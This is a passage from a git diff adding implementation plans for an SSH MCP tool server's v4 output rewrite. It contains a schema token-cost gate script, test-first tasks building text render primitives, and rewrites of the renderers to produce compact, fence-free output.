upload, download, sync)'), + remote_path: z.string().optional().describe('Remote path (most actions)'), + content: z.string().optional().describe('File content to write (action: write)'), + source: z.string().optional().describe('Sync source (action: sync)'), + destination: z.string().optional().describe('Sync destination (action: sync)'), + exclude: z.array(z.string()).optional().describe('Exclude patterns (action: sync)'), + delete_extra: z.boolean().optional().describe('Delete files absent from source (action: sync)'), + lines: z.number().optional().describe('Line count to read (action: read)'), + old_text: z.string().optional().describe('Text to replace (action: edit)'), + new_text: z.string().optional().describe('Replacement text (action: edit)'), + permissions: z.string().optional().describe('chmod value such as "644" (action: deploy)'), + owner: z.string().optional().describe('chown value such as "user:group" (action: deploy)'), + raw: z.boolean().optional().describe('Disable output compression and truncation'), + format: z.enum(['compact', 'json', 'markdown']).optional().describe('Output format'), +}); + +const sshFleet = z.object({ + server: z.string().optional().describe('Server name (actions targeting one server)'), + action: z.enum(['servers', 'groups', 'aliases', 'profiles', 'hooks', 'keys', 'history', 'connections']) + .describe('Fleet or config operation to perform'), + op: z.enum(['list', 'add', 'remove', 'update']).optional().describe('Sub-operation (most actions)'), + name: z.string().optional().describe('Entity name for group, alias, or profile'), + members: z.array(z.string()).optional().describe('Member server names (action: groups)'), + alias: z.string().optional().describe('Alias value (action: aliases)'), + target: z.string().optional().describe('Alias or hook target'), + limit: z.number().optional().describe('Row limit (action: history)'), + format: z.enum(['compact', 'json', 'markdown']).optional().describe('Output format'), +}); + +const fats = { ssh_run: sshRun, ssh_file: sshFile, ssh_fleet: sshFleet }; +let fail = false; +let measuredTotal = 0; + +for (const [name, schema] of Object.entries(fats)) { + const t = tokens(z.toJSONSchema(schema)); + measuredTotal += t; + const verdict = t <= PER_TOOL_CEIL ? 'ok' : 'OVER'; + console.log(`${name.padEnd(10)} ${String(t).padStart(5)} tokens [${verdict}]`); + if (t > PER_TOOL_CEIL) fail = true; +} + +// Extrapolate: 3 fattest measured + 10 thinner tools at ~55% of the fat average. +const fatAvg = measuredTotal / 3; +const estTotal = Math.round(measuredTotal + fatAvg * 0.55 * 10); +console.log(`\nestimated 13-tool surface: ~${estTotal} tokens (51-tool baseline: ${SURFACE_CEIL})`); +if (estTotal >= SURFACE_CEIL) fail = true; + +if (fail) { + console.error('\nGATE: FAIL -- v4 schema surface is not materially smaller. Revisit the design.'); + process.exit(1); +} +console.log('\nGATE: PASS -- proceed with v4 implementation.'); +``` + +- [ ] **Step 2: Run the gate** + +Run: `node scripts/measure-schema-tokens.mjs` +Expected: a per-tool token line for `ssh_run`, `ssh_file`, `ssh_fleet`, each marked `[ok]`; an estimated-surface line well under 14000; final line `GATE: PASS`. Exit code 0. + +If the output is `GATE: FAIL`, STOP. Do not continue to Task 2. Report the numbers — the fat-tool consolidation does not pay off and the spec must be reworked before any v4 code is written. + +- [ ] **Step 3: Commit** + +```bash +git add scripts/measure-schema-tokens.mjs +git commit -m "build: add v4 schema-cost pre-build gate" +``` + +--- + +## Task 2: `renderHeader` primitive + +The single header grammar every v4 tool emits: ` · · · · `. Optional slots collapse; order is fixed. + +**Files:** +- Modify: `src/output-formatter.js` (append one export) +- Test: `tests/test-render-primitives.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-render-primitives.js`: + +```javascript +#!/usr/bin/env node +/** + * Test suite for the v4 render primitives in src/output-formatter.js. + * Run: node tests/test-render-primitives.js + */ +import assert from 'assert'; +import { renderHeader } from '../src/output-formatter.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing render primitives\n'); + +// --- renderHeader -------------------------------------------------------- +test('renderHeader: full slots joined with middot', () => { + const h = renderHeader({ + marker: '[ok]', tool: 'ssh_run', action: 'exec', + server: 'devcentos', status: 'exit 0', durationMs: 245, + }); + assert.strictEqual(h, '[ok] ssh_run · exec · devcentos · exit 0 · 245 ms'); +}); + +test('renderHeader: optional slots collapse, order preserved', () => { + const h = renderHeader({ marker: '[err]', tool: 'ssh_file', server: 'web1' }); + assert.strictEqual(h, '[err] ssh_file · web1'); +}); + +test('renderHeader: default marker is [ok]', () => { + assert.strictEqual(renderHeader({ tool: 'ssh_db' }), '[ok] ssh_db'); +}); + +test('renderHeader: status of 0 is kept, empty string dropped', () => { + assert(renderHeader({ tool: 't', status: 0 }).endsWith('· 0')); + assert.strictEqual(renderHeader({ tool: 't', status: '' }), '[ok] t'); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-render-primitives.js` +Expected: FAIL — `SyntaxError: The requested module '../src/output-formatter.js' does not provide an export named 'renderHeader'`. + +- [ ] **Step 3: Write minimal implementation** + +Append to `src/output-formatter.js` (after `makeMcpContent`, end of file). `formatDuration` is already defined in this module: + +```javascript +/** + * Render the single v4 header line. Grammar: + * · · · · + * Absent slots collapse; present slots never reorder. Used by every v4 tool. + */ +export function renderHeader({ + marker = '[ok]', tool, action, server, status, durationMs, +} = {}) { + const slots = []; + if (tool) slots.push(String(tool)); + if (action) slots.push(String(action)); + if (server) slots.push(String(server)); + if (status != null && status !== '') slots.push(String(status)); + if (durationMs != null) slots.push(formatDuration(durationMs)); + return `${marker} ${slots.join(' · ')}`; +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-render-primitives.js` +Expected: PASS — `4 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/output-formatter.js tests/test-render-primitives.js +git commit -m "feat: add renderHeader v4 render primitive" +``` + +--- + +## Task 3: `indentBody` primitive + +Indents a payload block by a fixed prefix (default 2 spaces). This replaces fenced code blocks: indentation reads cleanly as plain text, renders as a code block if a client parses markdown, and cannot be broken by backticks inside the payload. + +**Files:** +- Modify: `src/output-formatter.js` (append one export) +- Test: `tests/test-render-primitives.js` (extend) + +- [ ] **Step 1: Write the failing test** + +In `tests/test-render-primitives.js`, change the import line to add `indentBody`: + +```javascript +import { renderHeader, indentBody } from '../src/output-formatter.js'; +``` + +Add these tests immediately before the `// --- Summary` section: + +```javascript +// --- indentBody ---------------------------------------------------------- +test('indentBody: each line prefixed with 2 spaces', () => { + assert.strictEqual(indentBody('a\nb'), ' a\n b'); +}); + +test('indentBody: empty or nullish input -> empty string', () => { + assert.strictEqual(indentBody(''), ''); + assert.strictEqual(indentBody(null), ''); + assert.strictEqual(indentBody(undefined), ''); +}); + +test('indentBody: custom prefix honored', () => { + assert.strictEqual(indentBody('x', '| '), '| x'); +}); + +test('indentBody: blank lines are still prefixed', () => { + assert.strictEqual(indentBody('a\n\nb'), ' a\n \n b'); +}); +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-render-primitives.js` +Expected: FAIL — `does not provide an export named 'indentBody'`. + +- [ ] **Step 3: Write minimal implementation** + +Append to `src/output-formatter.js`: + +```javascript +/** + * Indent a payload block by `prefix` (default 2 spaces). Replaces fenced code + * blocks in v4 output -- clean as plain text, unbreakable by payload content. + */ +export function indentBody(text, prefix = ' ') { + if (text == null || text === '') return ''; + return String(text).split('\n').map((l) => prefix + l).join('\n'); +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-render-primitives.js` +Expected: PASS — `8 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/output-formatter.js tests/test-render-primitives.js +git commit -m "feat: add indentBody v4 render primitive" +``` + +--- + +## Task 4: `renderKV` primitive + +Renders an ordered list of `[key, value]` pairs as a column-aligned key/value block. This is the body format for single-record results and the fallback `defaultRender` adopts in Plan 2 — replacing raw `JSON.stringify` blobs. + +**Files:** +- Modify: `src/output-formatter.js` (append one export) +- Test: `tests/test-render-primitives.js` (extend) + +- [ ] **Step 1: Write the failing test** + +Change the import line in `tests/test-render-primitives.js` to add `renderKV`: + +```javascript +import { renderHeader, indentBody, renderKV } from '../src/output-formatter.js'; +``` + +Add these tests before the `// --- Summary` section: + +```javascript +// --- renderKV ------------------------------------------------------------ +test('renderKV: aligns keys to the longest, 2-space gutter', () => { + const kv = renderKV([['exit', '0'], ['duration', '245 ms']]); + assert.strictEqual(kv, 'exit 0\nduration 245 ms'); +}); + +test('renderKV: empty or non-array -> empty string', () => { + assert.strictEqual(renderKV([]), ''); + assert.strictEqual(renderKV(null), ''); +}); + +test('renderKV: coerces non-string values, nullish value -> empty', () => { + assert.strictEqual(renderKV([['n', 42], ['m', null]]), 'n 42\nm '); +}); +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-render-primitives.js` +Expected: FAIL — `does not provide an export named 'renderKV'`. + +- [ ] **Step 3: Write minimal implementation** + +Append to `src/output-formatter.js`: + +```javascript +/** + * Render [key, value] pairs as a column-aligned key/value block. Keys are + * left-padded to the longest key; a 2-space gutter separates key and value. + */ +export function renderKV(rows) { + if (!Array.isArray(rows) || rows.length === 0) return ''; + const width = Math.max(...rows.map(([k]) => String(k).length)); + return rows + .map(([k, v]) => `${String(k).padEnd(width)} ${v == null ? '' : String(v)}`) + .join('\n'); +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-render-primitives.js` +Expected: PASS — `11 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/output-formatter.js tests/test-render-primitives.js +git commit -m "feat: add renderKV v4 render primitive" +``` + +--- + +## Task 5: `renderRows` primitive + +Renders tabular data (2+ rows) as a column-aligned ASCII table. When an `isFail` predicate is supplied, failed rows sort to the top and a `N/M failed` summary line is prepended — so the eye lands on problems first in fleet and process results. + +**Files:** +- Modify: `src/output-formatter.js` (append one export) +- Test: `tests/test-render-primitives.js` (extend) + +- [ ] **Step 1: Write the failing test** + +Change the import line in `tests/test-render-primitives.js` to add `renderRows`: + +```javascript +import { renderHeader, indentBody, renderKV, renderRows } from '../src/output-formatter.js'; +``` + +Add these tests before the `// --- Summary` section: + +```javascript +// --- renderRows ---------------------------------------------------------- +test('renderRows: aligns columns, no trailing whitespace', () => { + const t = renderRows(['name', 'exit'], [['web1', '0'], ['db1', '1']]); + assert.strictEqual(t, 'name exit\nweb1 0\ndb1 1'); +}); + +test('renderRows: empty headers -> empty string', () => { + assert.strictEqual(renderRows([], []), ''); +}); + +test('renderRows: failures sorted to top with summary count', () => { + const t = renderRows( + ['name', 'ok'], + [['a', 'y'], ['b', 'n'], ['c', 'y']], + { isFail: (r) => r[1] === 'n' }, + ); + const lines = t.split('\n'); + assert.strictEqual(lines[0], '1/3 failed'); + assert.strictEqual(lines[1], 'name ok'); + assert.strictEqual(lines[2], 'b n'); +}); + +test('renderRows: isFail with zero failures adds no summary line', () => { + const t = renderRows(['n'], [['a'], ['b']], { isFail: () => false }); + assert.strictEqual(t.split('\n')[0], 'n'); +}); +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-render-primitives.js` +Expected: FAIL — `does not provide an export named 'renderRows'`. + +- [ ] **Step 3: Write minimal implementation** + +Append to `src/output-formatter.js`: + +```javascript +/** + * Render rows as a column-aligned ASCII table. `headers` is an array of column + * labels; `rows` is an array of cell arrays. With an `isFail` predicate, failed + * rows sort first and an `N/M failed` summary line is prepended. + */ +export function renderRows(headers, rows, { isFail } = {}) { + if (!Array.isArray(headers) || headers.length === 0) return ''; + let ordered = Array.isArray(rows) ? rows.slice() : []; + let summary = ''; + if (typeof isFail === 'function') { + const failed = ordered.filter((r) => isFail(r)); + const rest = ordered.filter((r) => !isFail(r)); + ordered = [...failed, ...rest]; + if (failed.length > 0) summary = `${failed.length}/${rows.length} failed`; + } + const widths = headers.map((h, i) => + Math.max(String(h).length, ...ordered.map((r) => String(r[i] ?? '').length))); + const fmt = (cells) => + cells + .map((c, i) => String(c ?? '').padEnd(widths[i])) + .join(' ') + .replace(/\s+$/, ''); + const lines = []; + if (summary) lines.push(summary); + lines.push(fmt(headers)); + for (const r of ordered) lines.push(fmt(r)); + return lines.join('\n'); +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-render-primitives.js` +Expected: PASS — `15 passed, 0 failed`. + +- [ ] **Step 5: Run the full suite to confirm zero regressions** + +Run: `npm test` +Expected: the new file appears in the count; total is the previous `653 passed` plus `15`; `0 failed`. Because this plan only *adds* exports, every pre-existing suite must still pass unchanged. + +- [ ] **Step 6: Commit** + +```bash +git add src/output-formatter.js tests/test-render-primitives.js +git commit -m "feat: add renderRows v4 render primitive" +``` + +--- + +## Done criteria + +- `node scripts/measure-schema-tokens.mjs` prints `GATE: PASS`. +- `src/output-formatter.js` exports `renderHeader`, `indentBody`, `renderKV`, `renderRows`. +- `tests/test-render-primitives.js` has 15 passing tests. +- `npm test` is green with 15 more tests than before and zero regressions. +- No existing export of `src/output-formatter.js` was modified. + +Plan 2 (output rewrite) adopts these primitives: `renderMarkdown` and `defaultRender` switch to `renderHeader` + `indentBody`/`renderKV`, fenced blocks become indentation, and `format: compact` becomes the default. diff --git a/docs/superpowers/plans/2026-05-16-ssh-mcp-v4-output-rewrite.md b/docs/superpowers/plans/2026-05-16-ssh-mcp-v4-output-rewrite.md new file mode 100644 index 0000000..46eafd2 --- /dev/null +++ b/docs/superpowers/plans/2026-05-16-ssh-mcp-v4-output-rewrite.md @@ -0,0 +1,508 @@ +# ssh-mcp v4 Output Rewrite Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Rewrite the two output renderers (`defaultRender`, `renderMarkdown`) to use the Plan 1 render primitives — single header grammar, 2-space-indented bodies instead of fenced code blocks, no `**markdown**` decoration — and make `compact` the default output format. + +**Architecture:** Modifies `src/structured-result.js` (`defaultRender`, `toMcp`) and `src/output-formatter.js` (`renderMarkdown`, `makeMcpContent`). The Plan 1 primitives (`renderHeader`, `indentBody`, `renderKV`) already exist as exports of `src/output-formatter.js`. This is a behavior change to existing functions, so the affected test suites are rewritten in the same task that changes the code. + +**Tech Stack:** Node.js ESM, the `node:assert`-based suites run by `scripts/run-tests.mjs`. + +This is Plan 2 of 6. Plan 1 (render primitives) is complete. Plan 3: command-output compressors. Plan 4: 13-tool dispatcher facade. Plan 5: new capabilities. Plan 6: adoption. Source spec: `docs/superpowers/specs/2026-05-16-ssh-mcp-redesign-design.md`. + +--- + +## File Structure + +- **Modify `src/structured-result.js`** — rewrite `defaultRender` to use `renderHeader` + `renderKV` + `indentBody`; add a private `kvRows` helper; extend the import from `./output-formatter.js`. Add `compact` to `toMcp`'s format set and make it the default. +- **Modify `src/output-formatter.js`** — rewrite `renderMarkdown` to use `renderHeader` + `indentBody`; add `compact` to `makeMcpContent` and make it the default. +- **Modify `tests/test-structured-result.js`** — replace the `defaultRender` test section and the `maybePreview` response test for the new output. +- **Modify `tests/test-output-formatter.js`** — replace the `renderMarkdown` test section and adjust the `makeMcpContent` and integration tests. + +Plan 1's `renderMarkdown` is hardcoded for the `ssh_execute` shape; that stays — Plan 4 introduces per-tool renderers. This plan only changes *how* the existing two renderers format, not *what* they render. + +--- + +## Task 1: Rewrite `defaultRender` onto the primitives + +`defaultRender` currently emits a `**bold**` header and dumps `data` as a `JSON.stringify(data, null, 2)` blob inside a ` ```json ` fence. Rewrite it to a `renderHeader` line plus a `renderKV` body, indented, no fences, no bold. + +**Files:** +- Modify: `src/structured-result.js` +- Test: `tests/test-structured-result.js` + +- [ ] **Step 1: Rewrite the test section (failing tests)** + +In `tests/test-structured-result.js`, replace the entire `// --- defaultRender` section (the five `test('defaultRender: ...')` blocks) with: + +```javascript +// --- defaultRender ------------------------------------------------------- +test('defaultRender: success uses renderHeader, KV body, no fences', () => { + const md = defaultRender(ok('ssh_execute', { rows: 3, kind: 'mysql' }, + { server: 'prod01', duration_ms: 1234 })); + assert.strictEqual(md.split('\n')[0], '[ok] ssh_execute · prod01 · 1.23 s'); + assert(!md.includes('```'), 'no fenced block'); + assert(!md.includes('**'), 'no markdown bold'); + assert(md.includes('rows'), 'data key present'); + assert(md.includes('mysql'), 'data value present'); +}); + +test('defaultRender: failure uses [err] marker and indented error', () => { + const md = defaultRender(fail('ssh_execute', 'boom')); + assert.strictEqual(md.split('\n')[0], '[err] ssh_execute · failed'); + assert(md.includes('\n boom'), 'error indented 2 spaces'); +}); + +test('defaultRender: preview renders plain "dry run" line and KV plan', () => { + const md = defaultRender(preview('ssh_upload', { action: 'upload', target: 'a' })); + assert(md.includes('dry run -- nothing executed')); + assert(!md.includes('```'), 'no fenced JSON'); + assert(md.includes('action')); + assert(md.includes('upload')); +}); + +test('defaultRender: omits duration when meta has none', () => { + const md = defaultRender(ok('t', {})); + assert.strictEqual(md.split('\n')[0], '[ok] t'); +}); + +test('defaultRender: elided bytes footer rendered plain', () => { + const md = defaultRender(ok('t', { x: 1 }, { elided_bytes: 5120 })); + assert(md.includes('elided: 5.0 KB')); + assert(!md.includes('>'), 'no blockquote marker'); +}); +``` + +Also replace the existing `test('maybePreview returns MCP response when preview=true', ...)` block with: + +```javascript +test('maybePreview returns MCP response when preview=true', () => { + const r = maybePreview(true, 'ssh_upload', { + action: 'upload', target: 'prod01:/etc/foo', + effects: ['creates /etc/foo', 'overwrites any existing'], + reversibility: 'auto', + server: 'prod01', + }, {}, toMcp, preview); + assert(r); + assert.strictEqual(r.isError, false); + assert(r.content[0].text.includes('dry run')); + assert(r.content[0].text.includes('action')); + assert(r.content[0].text.includes('upload')); +}); +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `node tests/test-structured-result.js` +Expected: FAIL — the `defaultRender` tests fail because the current renderer emits `[ok] **ssh_execute**` and a ` ```json ` block, not the new header/KV form. + +- [ ] **Step 3: Rewrite `defaultRender`** + +In `src/structured-result.js`, change the import line at the top from: + +```javascript +import { formatBytes, formatDuration } from './output-formatter.js'; +``` + +to: + +```javascript +import { formatBytes, renderHeader, renderKV, indentBody } from './output-formatter.js'; +``` + +(`formatDuration` is dropped from the import: after this rewrite it is no longer referenced anywhere in `structured-result.js` — `renderHeader` handles duration internally. `formatBytes` is still used, for the elided footer.) + +Replace the entire `defaultRender` function with: + +```javascript +/** + * Default markdown renderer. Tools override for richer cards. + * Header line via renderHeader; data as an indented KV block; no fences. + */ +export function defaultRender(result) { + const { success, tool, server, data, meta, error } = result; + const header = renderHeader({ + marker: success ? '[ok]' : '[err]', + tool, + server, + status: success ? null : 'failed', + durationMs: meta && meta.duration_ms, + }); + const lines = [header]; + + if (!success) { + lines.push(indentBody(String(error || 'unknown error'))); + return lines.join('\n'); + } + + if (data && data.preview) { + lines.push(' dry run -- nothing executed'); + lines.push(indentBody(renderKV(kvRows(data.plan)))); + return lines.join('\n'); + } + + if (data != null) { + lines.push(indentBody(renderKV(kvRows(data)))); + } + + const elided = meta && (meta.truncated_bytes || meta.elided_bytes); + if (elided) lines.push(indentBody(`elided: ${formatBytes(elided)}`)); + + return lines.join('\n'); +} + +/** + * Flatten an object to [key, value] rows for renderKV. Nested objects/arrays + * collapse to compact JSON; non-objects render as a single `value` row. + */ +function kvRows(obj) { + if (obj == null || typeof obj !== 'object') return [['value', String(obj)]]; + return Object.entries(obj).map(([k, v]) => [ + k, + v != null && typeof v === 'object' ? JSON.stringify(v) : String(v), + ]); +} +``` + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `node tests/test-structured-result.js` +Expected: PASS — all tests green, including the rewritten `defaultRender` and `maybePreview` tests. + +- [ ] **Step 5: Fix cross-suite assertions broken by the defaultRender rewrite** + +`defaultRender` is the fallback renderer for tools that ship without a custom one. Two suites assert its old `[ok] ****` header form and will now fail. Update them: + +- `tests/test-session-tools.js`: the assertion string `'[ok] **ssh_session_start**'` becomes `'[ok] ssh_session_start'`. +- `tests/test-tail-tools.js`: the assertion string `'[ok] **ssh_tail_start**'` becomes `'[ok] ssh_tail_start'`. + +Both are `startsWith` checks; the new header is `[ok] · ...`, so dropping the leading and trailing `**` keeps each check valid. + +- [ ] **Step 6: Run the full suite** + +Run: `npm test` +Expected: `670 passed, 0 failed`. Changed suites: `test-structured-result.js`, `test-session-tools.js`, `test-tail-tools.js`. + +- [ ] **Step 7: Commit** + +```bash +git add src/structured-result.js tests/test-structured-result.js tests/test-session-tools.js tests/test-tail-tools.js +git commit -m "refactor: rewrite defaultRender onto v4 render primitives" +``` + +--- + +## Task 2: Rewrite `renderMarkdown` onto the primitives + +`renderMarkdown` (the `ssh_execute` result renderer) currently emits a `**bold**` header, a `` `$ command` `` line, and ` ```text ` fences. Rewrite it to a `renderHeader` line, a plain `$ command` line, and 2-space-indented bodies. + +**Files:** +- Modify: `src/output-formatter.js` +- Test: `tests/test-output-formatter.js` + +- [ ] **Step 1: Rewrite the test section (failing tests)** + +In `tests/test-output-formatter.js`, replace the entire `// --- renderMarkdown` section (the nine `test('renderMarkdown: ...')` blocks) with: + +```javascript +// --- renderMarkdown ------------------------------------------------------ +test('renderMarkdown: success header is a renderHeader line, no bold', () => { + const md = renderMarkdown({ + server: 'prod01', command: 'x', cwd: null, exit_code: 0, success: true, + duration_ms: 2340, stdout: '', stderr: '', + truncated: { stdout_bytes: 0, stderr_bytes: 0, stdout_total: 0, stderr_total: 0 }, + }); + assert.strictEqual(md.split('\n')[0], '[ok] ssh_execute · prod01 · exit 0 · 2.34 s'); + assert(!md.includes('**'), 'no markdown bold'); + assert(md.includes('\n$ x'), 'command on its own line with $ prefix'); +}); + +test('renderMarkdown: failure header uses [err] marker and exit code', () => { + const md = renderMarkdown({ + server: 's', command: 'false', cwd: null, exit_code: 127, success: false, + duration_ms: 0, stdout: '', stderr: 'not found', + truncated: { stdout_bytes: 0, stderr_bytes: 0, stdout_total: 0, stderr_total: 0 }, + }); + assert(md.split('\n')[0].startsWith('[err] ssh_execute'), 'failure marker'); + assert(md.includes('exit 127'), 'exit 127 in header'); + assert(md.includes('stderr:'), 'stderr label'); + assert(md.includes(' not found'), 'stderr indented'); +}); + +test('renderMarkdown: cwd shown as plain (in PATH) on the command line', () => { + const md = renderMarkdown({ + server: 's', command: 'c', cwd: '/srv/app', exit_code: 0, success: true, + duration_ms: 100, stdout: '', stderr: '', + truncated: { stdout_bytes: 0, stderr_bytes: 0, stdout_total: 0, stderr_total: 0 }, + }); + assert(md.includes('$ c (in /srv/app)'), 'cwd shown plain'); + assert(!md.includes('*'), 'no markdown italic'); +}); + +test('renderMarkdown: no cwd -> no "(in ...)" fragment', () => { + const md = renderMarkdown({ + server: 's', command: 'c', cwd: null, exit_code: 0, success: true, + duration_ms: 10, stdout: '', stderr: '', + truncated: { stdout_bytes: 0, stderr_bytes: 0, stdout_total: 0, stderr_total: 0 }, + }); + assert(!md.includes('(in '), 'no cwd fragment when null'); +}); + +test('renderMarkdown: stdout indented 2 spaces, no fences', () => { + const md = renderMarkdown({ + server: 's', command: 'c', cwd: null, exit_code: 0, success: true, + duration_ms: 1, stdout: 'hello\nworld', stderr: '', + truncated: { stdout_bytes: 0, stderr_bytes: 0, stdout_total: 0, stderr_total: 0 }, + }); + assert(md.includes('\n hello\n world'), 'stdout indented'); + assert(!md.includes('```'), 'no fenced block'); +}); + +test('renderMarkdown: empty output sections omitted', () => { + const md = renderMarkdown({ + server: 's', command: 'c', cwd: null, exit_code: 0, success: true, + duration_ms: 1, stdout: '', stderr: '', + truncated: { stdout_bytes: 0, stderr_bytes: 0, stdout_total: 0, stderr_total: 0 }, + }); + assert(!md.includes('stderr:'), 'no stderr label when stderr empty'); +}); + +test('renderMarkdown: truncation rendered as plain elided footer', () => { + const md = renderMarkdown({ + server: 's', command: 'c', cwd: null, exit_code: 0, success: true, + duration_ms: 1, stdout: 'partial', stderr: '', + truncated: { stdout_bytes: 12345, stderr_bytes: 0, stdout_total: 22345, stderr_total: 0 }, + }); + assert(md.includes('elided: stdout 12.1 KB'), `expected plain elided footer, got: ${md}`); + assert(!md.includes('>'), 'no blockquote marker'); +}); + +test('renderMarkdown: truncation shows both streams when both elided', () => { + const md = renderMarkdown({ + server: 's', command: 'c', cwd: null, exit_code: 0, success: true, + duration_ms: 1, stdout: 'a', stderr: 'b', + truncated: { stdout_bytes: 5_000_000, stderr_bytes: 2048, stdout_total: 0, stderr_total: 0 }, + }); + assert(md.includes('stdout 4.8 MB')); + assert(md.includes('stderr 2.0 KB')); +}); +``` + +In the same file, in the integration test `test('integration: 100KB log ...')`, replace the three `renderMarkdown` assertions: + +```javascript + assert(md.includes('exit 139'), 'failure exit badge'); + assert(md.includes('elided'), 'truncation marker present'); + assert(md.startsWith('[err]'), 'failure marker leads the header'); +``` + +with: + +```javascript + assert(md.includes('exit 139'), 'failure exit in header'); + assert(md.includes('elided'), 'truncation marker present'); + assert(md.startsWith('[err] ssh_execute'), 'failure marker leads the header'); +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `node tests/test-output-formatter.js` +Expected: FAIL — current `renderMarkdown` emits `[ok] **ssh_execute** | ...` and ` ```text ` fences, not the new header/indent form. + +- [ ] **Step 3: Rewrite `renderMarkdown`** + +In `src/output-formatter.js`, replace the entire `renderMarkdown` function with: + +```javascript +/** + * Render an ExecResult as compact v4 plain text. + * Header via renderHeader; command on a plain `$` line; stdout/stderr indented. + */ +export function renderMarkdown(r) { + const marker = r.success ? '[ok]' : '[err]'; + const lines = [renderHeader({ + marker, + tool: 'ssh_execute', + server: r.server, + status: `exit ${r.exit_code}`, + durationMs: r.duration_ms, + })]; + + lines.push(`$ ${r.command}${r.cwd ? ` (in ${r.cwd})` : ''}`); + + if (r.stdout) { + lines.push(''); + lines.push(indentBody(r.stdout)); + } + + if (r.stderr) { + lines.push(''); + lines.push('stderr:'); + lines.push(indentBody(r.stderr)); + } + + if (r.truncated.stdout_bytes || r.truncated.stderr_bytes) { + const parts = []; + if (r.truncated.stdout_bytes) parts.push(`stdout ${formatBytes(r.truncated.stdout_bytes)}`); + if (r.truncated.stderr_bytes) parts.push(`stderr ${formatBytes(r.truncated.stderr_bytes)}`); + lines.push(''); + lines.push(`elided: ${parts.join(', ')}`); + } + + return lines.join('\n'); +} +``` + +`renderHeader`, `indentBody`, and `formatBytes` are all defined earlier in this same file — no import needed. + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `node tests/test-output-formatter.js` +Expected: PASS — all tests green. + +- [ ] **Step 5: Fix cross-suite assertions broken by the renderMarkdown rewrite** + +`renderMarkdown` (the `ssh_execute` renderer) is reused by `ssh_tail`. Three assertions across two suites check its old `**ssh_execute**` header form. Update them: + +- `tests/test-exec-tools.js`: `'[ok] **ssh_execute**'` becomes `'[ok] ssh_execute'`; `'[err] **ssh_execute**'` becomes `'[err] ssh_execute'`. +- `tests/test-tail-tools.js`: `'[ok] **ssh_execute**'` becomes `'[ok] ssh_execute'`. + +Leave `'[ok] **ssh_execute_group**'` in `test-exec-tools.js` unchanged — that is `renderGroupMarkdown`, a separate renderer this plan does not touch (it is rewritten in Plan 4). + +- [ ] **Step 6: Run the full suite** + +Run: `npm test` +Expected: `670 passed, 0 failed`. Changed suites: `test-output-formatter.js`, `test-exec-tools.js`, `test-tail-tools.js`. + +- [ ] **Step 7: Commit** + +```bash +git add src/output-formatter.js tests/test-output-formatter.js tests/test-exec-tools.js tests/test-tail-tools.js +git commit -m "refactor: rewrite renderMarkdown onto v4 render primitives" +``` + +--- + +## Task 3: Make `compact` the default output format + +Add `compact` to the recognized formats of `makeMcpContent` and `toMcp`, and make it the default. After Tasks 1-2 the renderers already produce compact, fence-free text, so `compact` simply means "use the renderer" — the same path the old `markdown` default took. `markdown`, `json`, and `both` remain valid explicit values for back-compat. + +**Files:** +- Modify: `src/output-formatter.js` (`makeMcpContent`) +- Modify: `src/structured-result.js` (`toMcp`) +- Test: `tests/test-output-formatter.js`, `tests/test-structured-result.js` + +- [ ] **Step 1: Write the failing tests** + +In `tests/test-output-formatter.js`, replace the `test('makeMcpContent: markdown (default)', ...)` block with: + +```javascript +test('makeMcpContent: compact is the default format', () => { + const r = formatExecResult({ + server: 's', command: 'c', stdout: 'out', stderr: '', code: 0, durationMs: 10, + }); + const c = makeMcpContent(r); + assert.strictEqual(c.length, 1); + assert.strictEqual(c[0].type, 'text'); + assert(c[0].text.startsWith('[ok] ssh_execute'), 'compact render is the default'); + assert(!c[0].text.includes('```'), 'no fences in default output'); +}); +``` + +In `tests/test-structured-result.js`, replace the `test('toMcp markdown: ...')` block with: + +```javascript +test('toMcp compact (default): single rendered text block', () => { + const r = toMcp(ok('t', { x: 1 })); + assert.strictEqual(r.content.length, 1); + assert.strictEqual(r.content[0].type, 'text'); + assert.strictEqual(r.isError, false); + assert(r.content[0].text.startsWith('[ok] t'), 'rendered, not raw JSON'); + assert(!r.content[0].text.includes('```'), 'no fences'); +}); +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `node tests/test-output-formatter.js` then `node tests/test-structured-result.js` +Expected: the two new tests FAIL only if `compact` is unrecognized and falls through incorrectly. If the existing default path already produces this output they may pass early — in that case proceed; the goal of this task is to make `compact` an explicit, named, default format. + +- [ ] **Step 3: Add `compact` to `makeMcpContent`** + +In `src/output-formatter.js`, replace the entire `makeMcpContent` function with: + +```javascript +/** + * Build the MCP `content` array from an ExecResult. + * format: "compact" (default) | "markdown" | "json" | "both". + * compact and markdown both use renderMarkdown -- the renderer is already + * fence-free and compact; the names are kept distinct for caller intent. + */ +export function makeMcpContent(result, { format = 'compact' } = {}) { + if (format === 'json') { + return [{ type: 'text', text: JSON.stringify(result) }]; + } + if (format === 'both') { + return [ + { type: 'text', text: 